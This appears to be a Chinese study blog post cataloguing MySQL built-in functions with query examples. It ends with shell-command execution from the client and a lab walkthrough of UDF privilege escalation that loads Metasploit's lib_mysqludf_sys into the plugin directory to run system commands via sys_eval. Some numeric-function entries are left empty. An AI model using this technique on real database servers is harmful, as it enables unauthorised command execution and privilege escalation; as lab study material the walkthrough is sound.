文章目錄
個人博客文章:MySQL 函數及其利用
背景
學習目標:
-
學習數據庫自帶函數的功能與用法(思考在什麼情況下可以執行命令)
-
將所有涉及的函數進行測試並舉例說明其用法
-
針對自己所選數據庫,構造所需環境,嘗試執行系統命令
MySQL 函數
測試環境:
-
Ubuntu-18.04
-
MySQL 5.7.27
-
數據表:comments,test
mysql> select * from comments; +----+---------------------------+ | id | comment | +----+---------------------------+ | 1 | test | | 2 | hhhh | | 3 | Need lots of improvements | +----+---------------------------+ mysql> select * from test; +----+------+ | id | name | +----+------+ | 1 | May | | 2 | June | | 3 | Hack | | 10 | Cook | +----+------+
字符串函數
字符串長度
length(s)
char_length(s)
character_length(s)
**描述:**返回字符串 s 的長度。
**實例:**返回字符串 “Hello World!” 的長度。
mysql> select length("Hello World");
+-----------------------+
| length("Hello World") |
+-----------------------+
| 11 |
+-----------------------+
mysql> select char_length("Hello World"); #或者 select character_length("Hello World");
+----------------------------+
| char_length("Hello World") |
+----------------------------+
| 11 |
+----------------------------+
字符串拼接
concat(s1, s2..…, sn)
,將多個字符串 s1, s2…… 合併爲一個字符串concat_ws(separator, s1, s2, ..…)
,功能和 concat 函數一樣,但帶有分隔符group_concat()
,將同一列的內容進行拼接
concat(s1, s2..…, sn)
**描述:**將多個字符串 s1, s2…… 合併爲一個字符串,如果 s1, s2…… 中有爲 NULL 值得字符串則返回 NULL 值。
**實例:**從 comments 表中選擇 id, comment 字段,並使用 concat 函數合併爲 info 字段。
mysql> select concat(id,' ',comment) as info from comments;
+-----------------------------+
| info |
+-----------------------------+
| 1 test |
| 2 hhhh |
| 3 Need lots of improvements |
+-----------------------------+
concat_ws(separator, s1, s2, ..…)
**描述:**功能和 concat 函數一樣,但帶有分隔符,如果分隔符爲 NULL,則函數返回 NULL,而字符串爲 NULL 則略過。
**實例:**從 comments 表中選擇 id, comment, comment 字段,並使用 concat_ws 函數, 以 “,” 爲分隔符,合併爲 infos 字段。
mysql> select concat_ws(',',id,comment,comment) as infos from comments;
+-------------------------------------------------------+
| infos |
+-------------------------------------------------------+
| 1,test,test |
| 2,hhhh,hhhh |
| 3,Need lots of improvements,Need lots of improvements |
+-------------------------------------------------------+
group_concat()
描述: 比較直觀的理解是 concat()
,concat_ws()
將不同列的同一行內容進行拼接,而group_concat()
將同一列的內容進行拼接。
語法:
GROUP_CONCAT([DISTINCT] expr [,expr ...] # distinct,表示插敘的結果不能重複
[ORDER BY {unsigned_integer | col_name | expr}
[ASC | DESC] [,col_name ...]]
[SEPARATOR str_val]) # seperator:拼接分隔符,默認爲 ','
實例:
mysql> select group_concat(comment order by comment separator '|') from comments;
+----------------------------------------------------------------+
| group_concat(comment order by comment separator '|') |
+----------------------------------------------------------------+
| Come on!|Come on!|Come on!|hhhh|Need lots of improvements|test |
+----------------------------------------------------------------+
字符串查找
field(sv, v1, v2..…)
,在列表 v1, v2… 中 查找值 sv 的位置find_in_set(sv, slist)
,搜索值 sv 在字符串列表 slist 中得位置,slist 中的值以 “,” 分開instr(string, substring)
|locate(substring, string, [start])
|position(subtring in string)
,locate()
,函數可指定從字符串 string 的 start 位置處開始搜索 substring
field(sv, v1, v2..…)
**描述:**搜索值 sv 在列表 v1, v2…… 中得位置,如果 sv 爲 NULL 或者 sv 不在列表中則返回0值。
實例:
mysql> select field('a', 'Happy','day','A','a');
+-----------------------------------+
| field('a', 'Happy','day','A','a') | #可見搜索不區分大小寫,返回第一次搜索值出現得位置
+-----------------------------------+
| 3 |
+-----------------------------------+
# 在表中查找
mysql> select field('hhhh', group_concat(comment)) from comments;
+------------------------+
| field('hhhh', comment) |
+------------------------+
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
+------------------------+
find_in_set(sv, slist)
**描述:**搜索值 sv 在字符串列表 slist 中得位置,slist 中的值以 “,” 分開。如果值 sv 不在列表中獲知 slist 爲空字符串,則返回 0,如果 slist 爲 NULL,則返回 NULL。
實例:
mysql> select find_in_set('a', 'Not an, easy,question,a,A,a');
+-------------------------------------------------+
| find_in_set('a', 'Not an, easy,question,a,A,a') |
+-------------------------------------------------+
| 4 |
+-------------------------------------------------+
#slist 中的值是以","作爲分隔符,分隔符之間的內容都是值的內容,包括空格。
mysql> select find_in_set('a', 'Not an, easy,question, a,A,a');
+--------------------------------------------------+
| find_in_set('a', 'Not an, easy,question, a,A,a') |
+--------------------------------------------------+
| 5 |
+--------------------------------------------------+
instr(string, substring)
| locate(substring, string, [start])
| position(substring in string)
**描述:**查找字符串 substring 在 string 中出現的位置,如果 substring 不在 string 中,返回 0 。locate()`函數可指定從字符串 string 的 start 位置處開始搜索 substring。
實例:
mysql> select instr("Proud of you!", "you");
+-------------------------------+
| instr("Proud of you!", "you") |
+-------------------------------+
| 10 |
+-------------------------------+
mysql> select locate("you", "Proud of you!");
+--------------------------------+
| locate("you", "Proud of you!") |
+--------------------------------+
| 10 |
+--------------------------------+
mysql> select locate("you", "Proud of you!", 11); #從第11個字符開始搜索,搜索失敗
+------------------------------------+
| locate("you", "Proud of you!", 11) |
+------------------------------------+
| 0 |
+------------------------------------+
字符串修改
insert(s1, pos, num, s2)
, 字符串插入
replace(s, olds, news)
,字符串替換
lpad(s, len, pads)
|rpad(s, len, pads)
,字符串填充
trim(s)
|ltrim(s)
|rtrim(s)
,字符串裁剪,去首位空格
lcase(s)
|lower(s)
,字符串英文小寫
ucase(s)
|uppser(s)
,字符串英文大寫
reverse(s)
,字符串逆序
insert(s1, pos, num, s2)
描述: 在字符串 s1 位置插入字符串 s2, num 表示要替換的字符數,如果不需要替換,則使用 0 值。
實例:
#替換式插入
mysql> select insert("What a bad day!", 8, 3,"good");
+----------------------------------------+
| insert("What a bad day!", 8, 3,"good") |
+----------------------------------------+
| What a good day! |
+----------------------------------------+
#不進行替換,直接插入
mysql> select insert("What a bad day!", 8, 0,"good");
+----------------------------------------+
| insert("What a bad day!", 8, 0,"good") |
+----------------------------------------+
| What a goodbad day! |
+----------------------------------------+
#pos 值不在範圍內,範圍字符串 s1
mysql> select insert("What a bad day!", 0, 3,"good");
+----------------------------------------+
| insert("What a bad day!", 0, 3,"good") |
+----------------------------------------+
| What a bad day! |
+----------------------------------------+
#pos+num 大於字符串 s1 長度,替換 pos 位置後的全部字符
mysql> select insert("What a bad day!", 8, 20,"good");
+-----------------------------------------+
| insert("What a bad day!", 8, 20,"good") |
+-----------------------------------------+
| What a good |
+-----------------------------------------+
replace(s, olds, news)
**描述:**替換字符串 s 中的子字符串 olds 爲 news。
實例:
mysql> select replace("What a bad day!", "bad", "good");
+-------------------------------------------+
| replace("What a bad day!", "bad", "good") |
+-------------------------------------------+
| What a good day! |
+-------------------------------------------+
lpad(s, len, pads)
| rpad(s, len, pads)
**描述:**使用字符串 pads 填充字符串 s ,至長度爲 len。
實例:
#左填充
mysql> select lpad("12345", 10, "0");
+------------------------+
| lpad("12345", 10, "0") |
+------------------------+
| 0000012345 |
+------------------------+
#右填充
mysql> select rpad("12345", 10, "0");
+------------------------+
| rpad("12345", 10, "0") |
+------------------------+
| 1234500000 |
+------------------------+
trim(s)
| ltrim(s)
| rtrim(s)
**描述:**去除字符串首尾的空格。
實例:
mysql> select trim(" Too many spaces ");
+-----------------------------------------+
| trim(" Too many spaces ") |
+-----------------------------------------+
| Too many spaces |
+-----------------------------------------+
#首部去空格
mysql> select ltrim(" Too many spaces ");
+------------------------------------------+
| ltrim(" Too many spaces ") |
+------------------------------------------+
| Too many spaces |
+------------------------------------------+
#尾部去空格
mysql> select concat(rtrim(" Too many spaces "), "!");
+------------------------------------------------------+
| concat(rtrim(" Too many spaces "), "!") |
+------------------------------------------------------+
| Too many spaces! |
+------------------------------------------------------+
lcase(s)
| lower(s)
**描述:**字符串英文小寫。
實例:
mysql> select lcase("AllToLower");
+---------------------+
| lcase("AllToLower") |
+---------------------+
| alltolower |
+---------------------+
ucase(s)
| uppser(s)
**描述:**字符串英文大寫。
實例:
mysql> select ucase("AllToUpper");
+---------------------+
| ucase("AllToUpper") |
+---------------------+
| ALLTOUPPER |
+---------------------+
reverse(s)
**描述:**字符串逆序。
實例:
mysql> select reverse("12345");
+------------------+
| reverse("12345") |
+------------------+
| 54321 |
+------------------+
子字符串提取
mid(string, start, len)
|substr(string, start, len)
|sbustring(string, start, len)
, 任意提取子字符串left(string, num)
|right(string, num)
,提取左/右子字符串sbustring_index(s, delimiter, num)
,提取第 num 個分隔符 delimiter 前的子字符串
``mid(string, start, len)|
substr(string, start, len)|
sbustring(string, start, len)`
**描述:**在 string start 位置提取長度爲 len 的子字符串。
實例:
mysql> select substr("123456789", 3, 3);
+---------------------------+
| substr("123456789", 3, 3) |
+---------------------------+
| 345 |
+---------------------------+
mysql> select mid("123456789", 3, 3);
+------------------------+
| mid("123456789", 3, 3) |
+------------------------+
| 345 |
+------------------------+
left(string, num)
| right(string, num)
**描述:**從字符串首部/尾部,提取長度爲 num 的子字符串。
實例:
#首部提取
mysql> select left("123456789", 3);
+----------------------+
| left("123456789", 3) |
+----------------------+
| 123 |
+----------------------+
#尾部提取
mysql> select right("123456789", 3);
+-----------------------+
| right("123456789", 3) |
+-----------------------+
| 789 |
+-----------------------+
sbustring_index(s, delimiter, num)
**描述:**提取第 num 個分隔符 delimiter 前的子字符串,num 值爲正數則從右到左數起,爲負數則從左到右數起。
實例:
mysql> select substring_index("www.youtellme.org", ".", 1);
+----------------------------------------------+
| substring_index("www.youtellme.org", ".", 1) |
+----------------------------------------------+
| www |
+----------------------------------------------+
mysql> select substring_index("www.youtellme.org", ".", -1);
+-----------------------------------------------+
| substring_index("www.youtellme.org", ".", -1) |
+-----------------------------------------------+
| org |
+-----------------------------------------------+
字符串比較
strcmp(s1, s2)
,比較字符串的大小
描述:
- s1 = s2,返回 0
- s1 < s2,返回 -1
- s1 > s2,返回 1
實例:
mysql> select strcmp("abc", "Abc");
+----------------------+
| strcmp("abc", "Abc") | #不區分大小寫
+----------------------+
| 0 |
+----------------------+
#按次序比較
mysql> select strcmp("abcd", "abdc");
+------------------------+
| strcmp("abcd", "abdc") |
+------------------------+
| -1 |
+------------------------+
#按次序比較
mysql> select strcmp("b", "abdc");
+---------------------+
| strcmp("b", "abdc") |
+---------------------+
| 1 |
+---------------------+
其它操作
ascii(s)
,返回字符串 s 第一個字符的 ASCIIrepeat(string, num)
,生成重複字符串space(num)
,生成全空格字符串format(num, n)
, 將數 num 格式化爲 “xxx,xxx. xx”形式
ascii(s)
**描述:**返回字符串 s 的第一個字符的 ASCII 碼。
**實例:**返回 comments 表中 comment 列的的第一個字符的 ASCII 碼。
mysql> select comment,ascii(comment)as ASCIIOfFirstChar from comments;
+---------------------------+------------------+
| comment | ASCIIOfFirstChar |
+---------------------------+------------------+
| test | 116 |
| hhhh | 104 |
| Need lots of improvements | 78 |
+---------------------------+------------------+
repeat(string, num)
**描述:**生成重複字符串 string num 次的字符串。
實例:
mysql> select repeat("Ha", 3);
+-----------------+
| repeat("Ha", 3) |
+-----------------+
| HaHaHa |
+-----------------+
space(num)
**描述:**生成 num 個空格的字符串。
實例:
mysql> select concat('some',space(4),'space');
+---------------------------------+
| concat('some',space(4),'space') |
+---------------------------------+
| some space |
+---------------------------------+
format(num, n)
,
**描述:**將數 num 格式化爲 “xxx,xxx. xx”形式
實例:
mysql> select format(201910.0100, 2);
+------------------------+
| format(201910.0100, 2) |
+------------------------+
| 201,910.01 |
+------------------------+
數值函數
統計函數
greatest(v1, v2...)
|least(v1, v2...)
,最大/最小值max(exp)
|min(exp)
,列中的最大/最小值sum(exp)
,求列和avg(exp)
,求列均值count(exp)
,統計查詢返回的行數
greatest(v1, v2...)
| least(v1, v2...)
**描述:**返回一系列數的最大/最小值
實例:
mysql> select greatest(1, 3, 5, 7, 0);
+-------------------------+
| greatest(1, 3, 5, 7, 0) |
+-------------------------+
| 7 |
+-------------------------+
mysql> select least(1, 3, 5, 7, 0);
+----------------------+
| least(1, 3, 5, 7, 0) |
+----------------------+
| 0 |
+----------------------+
max(exp)
| min(exp)
**描述:**返回表達式 exp 計算後的最大/最小值
實例:
#列值
mysql> select max(id) from comments;
+---------+
| max(id) |
+---------+
| 3 |
+---------+
mysql> select min(id) from comments;
+---------+
| min(id) |
+---------+
| 1 |
+---------+
#表達式
mysql> select max(pow(id, 3) + 2) from comments;
+---------------------+
| max(pow(id, 3) + 2) |
+---------------------+
| 29 |
+---------------------+
sum(exp)
**描述:**返回表達式計算後系列數的和
實例:
#列值求和
mysql> select sum(id) from comments;
+---------+
| sum(id) |
+---------+
| 6 |
+---------+
#表達式計算後求和
mysql> select sum(pow(id, 2)) from comments;
+-----------------+
| sum(pow(id, 2)) |
+-----------------+
| 14 |
+-----------------+
avg(exp)
**描述:**返回表達式計算後系列數的均值
實例:
#列值
mysql> select avg(id) from comments;
+---------+
| avg(id) |
+---------+
| 2.0000 |
+---------+
#表達式
mysql> select avg(pow(id, 2)) from comments;
+-------------------+
| avg(pow(id, 2)) |
+-------------------+
| 4.666666666666667 |
+-------------------+
count(exp)
**描述:**返回查詢的行數
實例:
#統計 id 數
mysql> select count(id) from comments;
+-----------+
| count(id) |
+-----------+
| 3 |
+-----------+
取整函數
abs(num)
,求絕對值,ceil(num)
|ceiling(num)
,取上整數,floor(num)
,取下整數,round(num, [decimals])
,取約數,四捨五入truncate(num, decimals)
,截斷小數部分div(x, y)
,x 除以 y,返回一個整數mod(x, y)
|x mod y
|x % y
,x 模 y
abs(num)
描述:
實例:
mysql
ceil(num)
| ceiling(num)
**描述:**取上整數
實例:
mysql
floor(num)
描述:
實例:
mysql
round(num, [decimals])
描述:
實例:
mysql
truncate(num, decimals)
描述:
實例:
mysql
div(x, y)
描述:
實例:
mysql
mod(x, y)
| x mod y
| x % y
描述:
實例:
mysql
冪函數
pow(x, y)
|power(x, y)
,sqrt(num)
,,負數返回 NULL
實例:
# 2 的 3 次方
mysql> select pow(2, 3);
+-----------+
| pow(2, 3) |
+-----------+
| 8 |
+-----------+
# 9 的根
mysql> select sqrt(9);
+---------+
| sqrt(9) |
+---------+
| 3 |
+---------+
指數和對數
exp(num)
,ln(num)
,求自然對數, ,num 要大於0,否則返回 NULLlog(m, n)
,,n 要大於0 且 m 大於1,否則返回 NULLlog2(n)
,求 2 爲底 n 的對數,,n 要大於0,否則返回 NULLlog10(n)
,求 10 爲底 n 的對數,,n 要大於0,否則返回 NULL
實例:
mysql> select exp(1); #自然對數 e
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
mysql> select ln(exp(2));
+------------+
| ln(exp(2)) |
+------------+
| 2 |
+------------+
mysql> select log(3, 9); #3 爲底 9 的對數
+-----------+
| log(3, 9) |
+-----------+
| 2 |
+-----------+
mysql> select log2(0); #n 不大於 0,返回 NULL
+---------+
| log2(0) |
+---------+
| NULL |
+---------+
三角函數
sin(num)
,求正弦cos(num)
,求餘弦tan(num)
,求正切cot(num)
,求餘切
實例:
mysql> select sin(pi()/2);
+-------------+
| sin(pi()/2) |
+-------------+
| 1 |
+-------------+
mysql> select sin(pi()); # sin(pi) 不爲0,因爲這裏 pi 是個約數,實際的 pi 是無效不循環數
+------------------------+
| sin(pi()) |
+------------------------+
| 1.2246467991473532e-16 |
+------------------------+
mysql> select sin(pi()/2);
+-------------+
| sin(pi()/2) |
+-------------+
| 1 |
+-------------+
反三角函數
asin(num)
,求反正弦,返回一個弧度值
acos(num)
,求反餘弦,返回一個弧度值
atan(num)
,求反正切,返回一個弧度值
acot(num)
,求反餘切,返回一個弧度值
atan2(n1, n2)
,求兩個數的反正切,返回弧度值
實例:
mysql> select asin(1); #約等於 pi/2
+--------------------+
| asin(1) |
+--------------------+
| 1.5707963267948966 |
+--------------------+
mysql> select pi()/2;
+--------------+
| pi()/2 |
+--------------+
| 1.5707963268 |
+--------------+
其它函數
pi()
,求 值degrees(num)
,求弧度 num 的角度值radians(num)
,求角度 num 的弧度值rand([seed])
,取 [0, 1) 的隨機數,可設置種子 seed,生成相同的隨機數sign(num)
,返回數 num 的符號,正數爲1,負數爲-1,0 爲 0
實例:
mysql> select degrees(2*pi()); # 2*pi 弧度爲 360 角度
+-----------------+
| degrees(2*pi()) |
+-----------------+
| 360 |
+-----------------+
mysql> select radians(180); # 180度爲 pi 弧度
+-------------------+
| radians(180) |
+-------------------+
| 3.141592653589793 |
+-------------------+
mysql> select rand(); #[0,1)的隨機數
+--------------------+
| rand() |
+--------------------+
| 0.9826734987857505 |
+--------------------+
mysql> select rand(), rand(1), rand(1); #相同的種子生成相同隨機數
+--------------------+---------------------+---------------------+
| rand() | rand(1) | rand(1) |
+--------------------+---------------------+---------------------+
| 0.8894535832940168 | 0.40540353712197724 | 0.40540353712197724 |
+--------------------+---------------------+---------------------+
高級函數
進制轉換
bin(num)
,將一個數字轉換爲二進制表示的數字,類型爲字符串hex(value)
conv(num, from_base, to_base)
,將一個數字從一個進制轉換到另一個進制進行表示
實例:
# 二進制表示
mysql> select bin(9), bin(4), bin(2);
+--------+--------+--------+
| bin(9) | bin(4) | bin(2) |
+--------+--------+--------+
| 1001 | 100 | 10 |
+--------+--------+--------+
# 10進制轉16進制和2進製表示
mysql> select conv(16, 10, 16), conv(16, 10, 2);
+------------------+-----------------+
| conv(16, 10, 16) | conv(16, 10, 2) |
+------------------+-----------------+
| 10 | 10000 |
+------------------+-----------------+
類型轉換
binary value
,將值轉換成二進制字符串,注意和bin()
轉換成二進制形式的數字表示不同。cast(v as t)
,將值 v 轉換成類型 t 表示convert(v, t)
|convert(v using charset)
,將值 v 轉換成類型 t 表示,或 使用字符集 charset 表示
可轉換的數據類型:
類型值 | 描述 |
---|---|
DATE | 格式: “YYYY-MM-DD” |
DATETIME | 格式: “YYYY-MM-DD HH:MM:SS” |
TIME | 格式: “HH:MM:SS” |
CHAR | 字符類型(固定長度的字符串) |
SIGNED | 64 位帶符號整數 |
UNSIGNED | 64位不帶符號整數 |
BINARY | 二進制字符串 |
實例:
#正常字符串,比較不分大小寫,所以比較結果相同
mysql> select "a" = "A";
+-----------+
| "a" = "A" |
+-----------+
| 1 |
+-----------+
#但二進制字符串中 "a" 和 "A" 是不同的
mysql> select binary "a" = binary "A";
+-------------------------+
| binary "a" = binary "A" |
+-------------------------+
| 0 |
+-------------------------+
#轉換成類型 DATETIME
mysql> select cast("2019-08-23 15:59:59" as datetime);
+-----------------------------------------+
| cast("2019-08-23 15:59:59" as datetime) |
+-----------------------------------------+
| 2019-08-23 15:59:59 |
+-----------------------------------------+
#使用 gbk 字符集,表示中文
mysql> select convert("中國" using gbk);
mysql> select convert("中國" using utf8);
+------------------------------+
| convert("中國" using utf8) |
+------------------------------+
| 中國 |
+------------------------------+
條件判斷函數
case
,返回第一個滿足條件的值,語法
CASE
WHEN *condition1* THEN *result1*
WHEN *condition2* THEN *result2*
WHEN *conditionN* THEN *resultN*
ELSE *result*
END;
if(con, t, f)
,滿足條件,執行 t 語句,反之,f 語句ifnull(expr, v)
,如果 expr 表達式值爲 NULL,返回 visnull(expr)
,判斷 表達式 expr 值是否爲 NULL,是返回 1,反之爲 0nullif(expr1, expr2)
,如何兩個表達式值相同,返回 NULL,反之返回 expr1
實例:
# case 語句
mysql> select id, name, case when id>=1 and id<3 then "p1" when id>2 and id<5 then "p2" else "p3" end as info from test;
+----+------+------+
| id | name | info |
+----+------+------+
| 1 | May | p1 |
| 2 | June | p1 |
| 3 | Hack | p2 |
| 10 | Cook | p3 |
+----+------+------+
# if(con, t, f)
mysql> select *, if(id>2, "p1", "p2") as part from test;
+----+------+------+
| id | name | part |
+----+------+------+
| 1 | May | p2 |
| 2 | June | p2 |
| 3 | Hack | p1 |
| 10 | Cook | p1 |
+----+------+------+
# ifnull(expr, v)
mysql> select ifnull(NULL, "expr is null") as value;
+--------------+
| value |
+--------------+
| expr is null |
+--------------+
# nullif(expr1, expr2)
mysql> select nullif("100", 100); #數字和字符一樣
+--------------------+
| nullif("100", 100) |
+--------------------+
| NULL |
+--------------------+
# 不分大小寫
mysql> select nullif("Case","cAse" );
+------------------------+
| nullif("Case","cAse" ) |
+------------------------+
| NULL |
+------------------------+
數據庫信息
current_user()
,MySQL 授權的用戶名和主機名user()
|session_user()
|system_user()
,當前連接的用戶名和主機名database()
,當前數據庫connection_id()
,當前 連接的 IDversion()
,MySQL 版本號
實例:
# current_user() 和 user()|session_user()| system_user() 的區別,只有一個用戶名具有多個主機纔有區別,如 username@%
# 在服務器主機登陸,這四個都是一樣的主機名 localhost
mysql> select current_user(), user(), session_user(), system_user();
+-------------------+-------------------+-------------------+-------------------+
| current_user() | user() | session_user() | system_user() |
+-------------------+-------------------+-------------------+-------------------+
| user102@localhost | user102@localhost | user102@localhost | user102@localhost |
+-------------------+-------------------+-------------------+-------------------+
# 在客戶端用進行遠程登陸,主機名會改變
mysql> select current_user(), user();
+-------------------+----------------------+
| current_user() | user() |
+-------------------+----------------------+
| user102@% | [email protected] |
+-------------------+----------------------+
加解密
hex(value)
|unhex(value)
,轉換成 16 進制的字符串表示,或從 16 進制字符串轉回正常的字符串表示to_base64(s)
|from_base64(s)
,轉換成 base64 編碼的字符串或者從 base64 編碼的字符串轉回正常的字符串表示encode(s, p)
|decode(s, p)
,將字符串 s 使用密碼 p 進行 加解密compress(s)
|uncompress(s)
壓縮或解壓 s
實例:
mysql> select unhex('hhhh, who are you!');
+-----------------------------+
| unhex('hhhh, who are you!') |
+-----------------------------+
| NULL |
+-----------------------------+
mysql> select unhex(hex('hhhh, who are you!'));
+----------------------------------+
| unhex(hex('hhhh, who are you!')) |
+----------------------------------+
| hhhh, who are you! |
+----------------------------------+
mysql> select to_base64('hhhh, who are you!');
+---------------------------------+
| to_base64('hhhh, who are you!') |
+---------------------------------+
| aGhoaCwgd2hvIGFyZSB5b3Uh |
+---------------------------------+
mysql> select from_base64(to_base64('hhhh, who are you!'));
+----------------------------------------------+
| from_base64(to_base64('hhhh, who are you!')) |
+----------------------------------------------+
| hhhh, who are you! |
+----------------------------------------------+
# 加解密
mysql> select decode(encode('string', 'hhh'), 'hhh');
+----------------------------------------+
| decode(encode('string', 'hhh'), 'hhh') |
+----------------------------------------+
| string |
+----------------------------------------+
# 壓縮和解壓
mysql> select uncompress(compress("What the hell!"));
+----------------------------------------+
| uncompress(compress("What the hell!")) |
+----------------------------------------+
| What the hell! |
+----------------------------------------+
其它函數
coalesce(v1, v2, ...)
,返回列表中第一個非 NULL 值last_insert_id([expr])
,返回當表中 最新行的 AUTO_INCREMENT 屬性的 id 值
實例:
mysql> select coalesce(null, "not null", 3);
+-------------------------------+
| coalesce(null, "not null", 3) |
+-------------------------------+
| not null |
+-------------------------------+
mysql> select last_insert_id();
+------------------+
| last_insert_id() |
+------------------+
| 10 |
+------------------+
日期函數
MySQL 中關於日期的函數特別多,好像在 SQL 注入過程中不常用到,還是稍微總結下。
當前日期和時間
MySQL 中日期表示的格式爲 “YYYY-MM-DD”,時間表示的格式爲 “HH-MM-SS”,日期和時間一起表示爲 “YYYY-MM-DD HH-MM-SS”。
curdate()
|current_date()
,返回 "YYYY-MM-DD"格式的字符串 或者YYYYMMDD 格式的數字
curtime()
|current_time()
,返回 “HH-MM-SS” 格式的字符串 或者 HHMMSS.uuuuuu 格式的數字
current_timestamp()
|now()
|systdate()
,返回當前日期和時間,格式不變
localtime()
|local_timestamp()
,返回當前日期和時間,格式不變
實例:
mysql> select current_date(), curdate();
+----------------+------------+
| current_date() | curdate() |
+----------------+------------+
| 2019-08-24 | 2019-08-24 |
+----------------+------------+
mysql> select current_time(), curtime();
+----------------+-----------+
| current_time() | curtime() |
+----------------+-----------+
| 07:38:16 | 07:38:16 |
+----------------+-----------+
mysql> select current_timestamp(), now(), sysdate();
+---------------------+---------------------+---------------------+
| current_timestamp() | now() | sysdate() |
+---------------------+---------------------+---------------------+
| 2019-08-24 07:40:04 | 2019-08-24 07:40:04 | 2019-08-24 07:40:04 |
+---------------------+---------------------+---------------------+
mysql> select localtime(), localtimestamp();
+---------------------+---------------------+
| localtime() | localtimestamp() |
+---------------------+---------------------+
| 2019-08-24 07:40:49 | 2019-08-24 07:40:49 |
+---------------------+---------------------+
MySQL 執行系統命令
使用 system shell-cmd
在 MySQL 的命令行界面中可以使用 system shell-cmd
或者\! shell-cmd
格式執行 shell 命令。
實例:
mysql> \! pwd # 顯示當前目錄
/home/jaylen
mysql> \! ls # 當前目錄內容
Desktop Downloads less Pictures Templates Videos
Documents examples.desktop Music Public test.txt work
mysql> \! cat ./work/test # 使用 cat 查看文件內容
1 jack
2 jackit
也可以打開一個新的 shell,關閉 shell (使用 exit 或者 CTRL D)後返回 MySQL 命令行界面。
mysql> \! bash # 打開終端
jaylen@ubuntu:~$ cd work/ # 返回到 設立了
jaylen@ubuntu:~/work$ ls
DVWA hashcat-5.1.0 neo suctf test test.csv
jaylen@ubuntu:~/work$ eixt
eixt: command not found
jaylen@ubuntu:~/work$ exit # 關閉 shell
exit
mysql>
MySQL UDF 提權
背景
UDF 爲 “User-Defined Function” 的所寫,即用戶自定義函數。MySQL 允許用戶添加新的函數,其中一種方法就是通過其提供的 UDF 接口,添加用戶自定義函數。用戶自定義函數可以使用 C/C++ 語言編寫並編譯成庫文件(其它語言也可以,只要能編譯成共享庫文件),放到 MySQL 指定的目錄下,以便 MySQL 能動態加載用戶自定義的函數。
使用 UDF 可以加載自定義的函數,因此可以通過自定義函數執行各種操作,關於用戶自定義函數的編寫可參考,Extending MySQL
使用 UDF
那麼如何使用 UDF 進行提權呢?
前提條件:
-
MySQL 用戶能寫文件到 MySQL 指定的自定義函數庫存放目錄。
-
MySQL 用戶具有
INSERT
權限,才能使用CREATE FUNCTION
語句在 MySQL 中添加自定義的函數,此外如果使用DROP FUNCTION
語句刪除自定義函數,還需要有DELETE
權限。
實驗環境:
- 攻擊主機:Kali Linux
- MySQL 服務器主機:owaspbwa
步驟:
- 根據目標系統(MySQL服務器主機)的類型,準備好相應的可加載的庫文件,網上有不少 UDF 的庫文件,這裏使用 Metasploit 自帶的 UDF 庫,Kali 主機上
find / -name '*mysqludf*'
進行搜索,可以看到可用的庫文件,GitHub上也有,這裏根據系統類型使用lib_mysqludf_sys_32.so
。
# 查看系統類型
MySQL [pwn]> show variables like "%compile%";
+-------------------------+------------------+
| Variable_name | Value |
+-------------------------+------------------+
| version_compile_machine | i486 |
| version_compile_os | debian-linux-gnu |
+-------------------------+------------------+
- 將自定義函數的庫文件放到 MySQL 指定的文件目錄下,這個文件目錄和 MySQL 的版本相關。
# MySQL 版本 < 5.0.67, 放在能別系統的鏈接器檢索的文件夾即可,通常系統目錄都是行的,如在 Windows中,C:\\WINDOWS\\ 或者 C:\\WINDOWS\\system32\\
# MySQL 版本 >= 5.0.67, 指定在 plugin_dir 目錄下
mysql> select @@plugin_dir;
+------------------------+
| @@plugin_dir |
+------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------+
# 將 UDF 庫文件寫到 plugin_dir 目錄中,前提是可以寫文件到 plugin_dir 目錄中
# 將 庫文件轉換成 16進制字符存儲,而後寫入到表中,最終存到 plugin_dir 目錄中,
# Kali Linux 上的 MySQL
MariaDB [(none)]> select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so')) into dumpfile '/tmp/udf.hex';
Query OK, 1 row affected (0.01 sec)
# 遠程登陸的 MySQL,從 Kali Linux上傳,使用 local 關鍵字
MySQL [pwn]> load data local infile '/tmp/udf.hex' into table udf(data);
Query OK, 1 row affected (0.00 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
# 將自定義庫存到指定目錄
MySQL [pwn]> select unhex(data) from udf into dumpfile '/usr/lib/mysql/plugin/udf.so';
Query OK, 1 row affected (0.00 sec)
- 在 MySQL 命令行中加載自定義函數
# 創建自定義函數
MySQL [pwn]> create function sys_eval returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)
# 使用
MySQL [pwn]> select sys_eval('ls /');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| sys_eval('ls /') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| bin
boot
cdrom
dev
etc
- 從 MySQL 中刪除自定義函數
# 刪除函數
MySQL [pwn]> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)